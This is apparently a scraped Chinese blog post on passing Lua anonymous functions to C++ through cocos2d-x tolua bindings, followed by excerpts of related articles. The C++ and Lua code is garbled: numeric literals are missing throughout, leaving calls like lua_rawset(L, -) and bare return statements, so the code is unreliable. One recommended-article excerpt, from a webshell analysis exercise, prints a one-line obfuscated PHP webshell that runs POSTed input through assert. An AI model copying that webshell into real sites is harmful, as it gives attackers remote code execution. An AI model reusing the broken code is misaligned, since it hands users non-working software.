第9月第13天 传递lua匿名函数到c/c++
1.
lua函数都在refid_fun
refid_fun[refid] = fun
TOLUA_API int toluafix_ref_function(lua_State* L, int lo, int def)
{
// function at lo
if (!lua_isfunction(L, lo)) return ; s_function_ref_id++; lua_pushstring(L, TOLUA_REFID_FUNCTION_MAPPING);
lua_rawget(L, LUA_REGISTRYINDEX); /* stack: fun ... refid_fun */
lua_pushinteger(L, s_function_ref_id); /* stack: fun ... refid_fun refid */
lua_pushvalue(L, lo); /* stack: fun ... refid_fun refid fun */ lua_rawset(L, -); /* refid_fun[refid] = fun, stack: fun ... refid_ptr */
lua_pop(L, ); /* stack: fun ... */ return s_function_ref_id; // lua_pushvalue(L, lo); /* stack: ... func */
// return luaL_ref(L, LUA_REGISTRYINDEX);
}
static int tolua_Cocos2d_CCScriptEventDispatcher_addNodeEventListener00(lua_State* tolua_S)
{
#ifndef TOLUA_RELEASE
tolua_Error tolua_err;
if (
!tolua_isusertype(tolua_S,,"CCScriptEventDispatcher",,&tolua_err) ||
!tolua_isnumber(tolua_S,,,&tolua_err) ||
(tolua_isvaluenil(tolua_S,,&tolua_err) || !toluafix_isfunction(tolua_S,,"LUA_FUNCTION",,&tolua_err)) ||
!tolua_isnumber(tolua_S,,,&tolua_err) ||
!tolua_isnoobj(tolua_S,,&tolua_err)
)
goto tolua_lerror;
else
#endif
{
CCScriptEventDispatcher* self = (CCScriptEventDispatcher*) tolua_tousertype(tolua_S,,);
int event = ((int) tolua_tonumber(tolua_S,,));
LUA_FUNCTION listener = ( toluafix_ref_function(tolua_S,,));
int tag = ((int) tolua_tonumber(tolua_S,,));
#ifndef TOLUA_RELEASE
if (!self) tolua_error(tolua_S,"invalid 'self' in function 'addScriptEventListener'", NULL);
#endif
{
int tolua_ret = (int) self->addScriptEventListener(event,listener,tag);
tolua_pushnumber(tolua_S,(lua_Number)tolua_ret);
}
}
return ;
#ifndef TOLUA_RELEASE
tolua_lerror:
tolua_error(tolua_S,"#ferror in function 'addNodeEventListener'.",&tolua_err);
return ;
#endif
}
比如;lua代码item:addNodeEventListener,CCScriptEventDispatcher* self===item,int event===cc.MENU_ITEM_CLICKED_EVENT,
LUA_FUNCTION listener =
function(tag)
if sound then audio.playSound(sound) end
listener(tag)
end
--[[-- 创建一个文字标签菜单项,并返回 CCMenuItemLabel 对象。 可用参数: - listener: 回调函数
- tag: 按钮的 Tag,会传入回调函数。多个按钮使用同一个回调函数时,可根据 Tag 区分哪一个按钮被按下(可选)
- x, y: 坐标(可选)
- sound: 按钮按下时播放什么音效(可选) 以及所有可以用于 ui.newTTFLabel() 的参数。 @param table params 参数表格对象 @return CCMenuItemLabel CCMenuItemLabel对象 ]] function ui.newTTFLabelMenuItem(params)
local p = clone(params)
p.x, p.y = nil, nil
local label = ui.newTTFLabel(p) local listener = params.listener
local tag = params.tag
local x = params.x
local y = params.y
local sound = params.sound local item = CCMenuItemLabel:create(label)
if item then
if type(listener) == "function" then
item:addNodeEventListener(cc.MENU_ITEM_CLICKED_EVENT, function(tag)
if sound then audio.playSound(sound) end
listener(tag)
end)
end
if x and y then item:setPosition(x, y) end
if tag then item:setTag(tag) end
end return item
end self.item1 = ui.newTTFLabelMenuItem({text = "计时模式", size = , align = ui.TEXT_ALIGN_CENTER,
x = display.cx, y = display.cy + , color = display.COLOR_GREEN,
listener = function()
app:setData("currentLv", )
app:enterScene("MainScene",)
end})
int CCLuaStack::executeFunctionByHandler(int nHandler, int numArgs)
{
int ret = ;
if (pushFunctionByHandler(nHandler)) /* L: ... arg1 arg2 ... func */
{
if (numArgs > )
{
lua_insert(m_state, -(numArgs + )); /* L: ... func arg1 arg2 ... */
}
ret = executeFunction(numArgs);
}
return ret;
}
http://blog.csdn.net/linchaolong/article/details/37657077
http://www.cppblog.com/kevinlynx/archive/2011/04/24/144905.html
http://blog.csdn.net/rain_qingtian/article/details/48573981
http://blog.csdn.net/lightxm/article/details/38435067
http://www.cnblogs.com/boliu/p/4091274.html
第9月第13天 传递lua匿名函数到c/c++的更多相关文章
- 巧用javascript对象属性,向事件绑定的匿名函数内传递循环控制变量的值
遇到一个需要向匿名函数传递循环控制变量的问题,我受到园子里这篇文章的启发[笔记]js获取当前点击元素的索引,解决了这个问题.现在把代码贴出来,以防止自己忘记. if ($('#labModal').l ...
- Lua基础 函数(一)
转自: http://blog.csdn.net/wzzfeitian/article/details/8653101 在Lua中,函数是对语句和表达式进行抽象的主要方法.既可以用来处理一些特殊的工作 ...
- 巨蟒python全栈开发-第13天 内置函数 匿名函数lambda
一.今日内容总览 1.内置函数(1):并不是每一个内置函数都是那么常用 上菜:内置函数部分//思维导图:https://www.processon.com/view/link/5b4ee15be4b0 ...
- lua基础---函数
Lua的函数功能很强大,保留了C语言的一些基本的特性,但是也有C语言没有的特性,比如,lua可以在一个函数返回多个值,我们来看看下面这个案例: 解释运行: lua test5.lua --定义一个函数 ...
- lua的函数初识
学习到Lua的函数.认为有必要记下来. 參考教程:Programming in Lua 函数能够以表达式或陈述语句出现,例如以下所看到的: print(8*9, 9/8) a = math.sin(3 ...
- Lua 常用函数 一
lua_getallocf lua_Alloc lua_getallocf (lua_State *L, void **ud); 返回给定状态机的内存分配器函数.如果 ud 不是 NULL ,Lua ...
- lua闭合函数
function count( ... ) return function( ... ) i = i+ return i end end local func = count(...) print(f ...
- Lua function 函数
Lua支持面向对象,操作符为冒号‘:’.o:foo(x) <==> o.foo(o, x). Lua程序可以调用C语言或者Lua实现的函数.Lua基础库中的所有函数都是用C实现的.但这些细 ...
- lua API函数大全
Lua5.1中的API函数 lua_State* luaL_newstate()Lua脚本的编译执行是相互独立的,在不同的线程上执行.通过luaL_newstate()函数可以申请一个虚拟机,返回指针 ...
随机推荐
- WebShell代码分析溯源(第1题)
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...
- B. Lost Array
链接 [http://codeforces.com/contest/1043/problem/B] 题意 自己点开链接看 分析 1到n枚举某个值,判断是否满足并统计 判断方法:假设x序列成立,那么后面 ...
- Linux内核分析 计算机是如何工作的——by王玥
1.冯诺依曼体系结构:也就是指存储程序计算机 硬件(存储程序计算机工作模式): 软件(程序员角度): 2.API:程序员与计算机的接口界面 ABI:程序与CPU的接口界面 3.X86的实现: 4.X8 ...
- 第二阶段站立会议alpha版总结
一.会议过程 在完成第二次冲刺后,Alpha版本最终发布,我们对校园二手交易平台开发过程及产品存在的问题进行了激烈讨论.进行了我们的团队总结会议,会议中每个人先发表了个人对Alpha版开发过程中存在的 ...
- 四则运算安卓版ver.mk2
做了一点微小的变动....非常微小...不过美观点了就是...那就是----加背景! 变更后的部分代码: <LinearLayout xmlns:android="http://sch ...
- Where To Buy -- proposed by Renqian Luo
Need 周末在公司加班,公司食堂不开饭,就会想到点外卖.手机里好多外卖APP,同样的店家在不同平台的优惠活动可能不一样,A这边满20减10,B那边满20只减5,但是那边好像有优惠券可以用唉,等等,C ...
- [福大软工] Z班 团队作业——UML设计 作业成绩
团队作业--UML设计 作业链接 http://www.cnblogs.com/easteast/p/7745703.html 作业要求 1)团队分工(5分) 描述团队的每个成员分别完成了UML图的哪 ...
- [转帖] 外部访问k8s 里面pod的方式方法
https://jimmysong.io/posts/accessing-kubernetes-pods-from-outside-of-the-cluster/ 从外部访问Kubernetes中的P ...
- Windows 10 中的存储空间
存储空间有助于保护你的数据免受驱动器故障的影响,并随着你向电脑添加驱动器而扩展存储.你可以使用存储空间将两个或多个驱动器一起分组到一个存储池中,然后使用该池的容量来创建称为存储空间的虚拟驱动器.这些存 ...
- python自动化之调试
#####调试 #####查看日志与断言 ''' 抛出异常使用raise语句.在代码中,raise语句包含以下部分: (1)raise关键字; (2)对Exception函数的调用; (3)传递给Ex ...